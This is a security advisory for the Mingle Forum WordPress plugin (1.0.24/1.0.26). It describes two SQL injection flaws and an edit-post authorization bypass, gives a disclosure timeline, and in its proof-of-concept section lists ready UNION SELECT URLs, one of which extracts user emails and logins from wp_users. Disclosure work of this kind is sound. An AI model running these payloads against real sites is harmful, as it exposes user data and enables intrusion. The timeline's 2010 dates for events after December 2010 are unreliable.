WordPress Plugin mingle forum 1.0.26 – Multiple Vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 1. Advisory Information Title: Multiple Vulnerabilities in Mingle Forum (WordPress Plugin) Advisory URL: http://www.charleshooper.net/advisories/ Date Published: January 8th, 2011 Vendors Contacted: Paul Carter - Maintainer of plugin. 2. Summary Mingle Forum is a plugin for the popular blog tool and publishing platform, WordPress. According to the author of Mingle Forum, "Mingle Forum has been modified to be lightweight, solid, secure, quick to setup, [and] easy to use." There exist multiple vulnerabilities in Mingle Forum, SQL injection being among them. 3. Vulnerability Information Packages/Versions Affected: Confirmed on 1.0.24 and 1.0.26 3a. Type: SQL Injection [CWE-89] 3a. Impact: Read application data. 3a. Discussion: There is a SQL injection vulnerability present in the RSS feed generator. By crafting specific URLs an attacker can retrieve information from the MySQL database. 3b. Type: SQL Injection [CWE-89] 3b. Impact: Read application data. 3b. Discussion: There is a SQL injection vulnerability present in the `edit post` functionality. By crafting specific URLs an attacker can retrieve information from the MySQL database. 3c. Type: Auth Bypass via Direct Request [CWE-425] 3c. Impact: AuthZ is not performed for `edit post` functionality. 3c. Discussion: By browsing directly to the `edit post` page a user can view and edit any page. 4. PoC & Technical Description 4a. http://path.to/wordpress/wp-content/plugins/mingle-forum/feed.php?topic=0%20UNION%20SELECT%201,user_email,3,4,5,user_login,7%20FROM%20wp_users%20%23 4b. http://path.to/forums/?mingleforumaction=editpost&t=1.0&id=0%20UNION%20SELECT%201,2,3,4,5,6,7%20%23 4c. http://path.to/forums/?mingleforumaction=editpost&t=1.0&id=<target post ID> 5. Report Timeline 12/17/2010 Initial email sent to plugin maintainer. 12/22/2010 Confirmation of first email requested. 12/31/2010 Correct email address obtained. Maintainer contacted again on this date. 01/01/2010 Received response from plugin maintainer. 01/07/2010 Plugin maintainer releases update that addresses these vulnerabilities. 6. References 6a. The WordPress Plugin page for Mingle Forum: http://wordpress.org/extend/plugins/mingle-forum/ 7. Legalese This vulnerability report by Charles Hooper < chooper () plumata com > is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. 8. Signature Public Key: Obtainable via pool.sks-keyservers.net -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEVAwUBTSiA5BjF72tr3DinAQJxawf8CtPQBDcHJFaS2qzPixcqVojNz7Bo2toK h96ye1Fkrt+FsyyuRXCBUTCTImtkj8pkmLqDErxzWFWZinzBTESjOtDZ7W5ztr1M lkFcaa8Rax13iuLPsU/GKKtSn4A8Df2AxJ2wnCd4cyfu4pZNsx4M/RG/XYcYZGj9 GmJiOFau0BKbLoHwCW5o4spg6Ljnpw30ablznbfuaqz/ec9MCPdtDQPAh6/WpVk0 TyjHmr+kZsv5CpC0TBPKSQzKD2ZcRCdNIB0f/dQ04cl5bxXK2ORChePll2F6hpQZ yMsPj3bOfMlu2Vukq4xorxsXpWSAGcOrTe2kdSM5/cvgcd2r8VNTQQ== =jLFM -----END PGP SIGNATURE----- |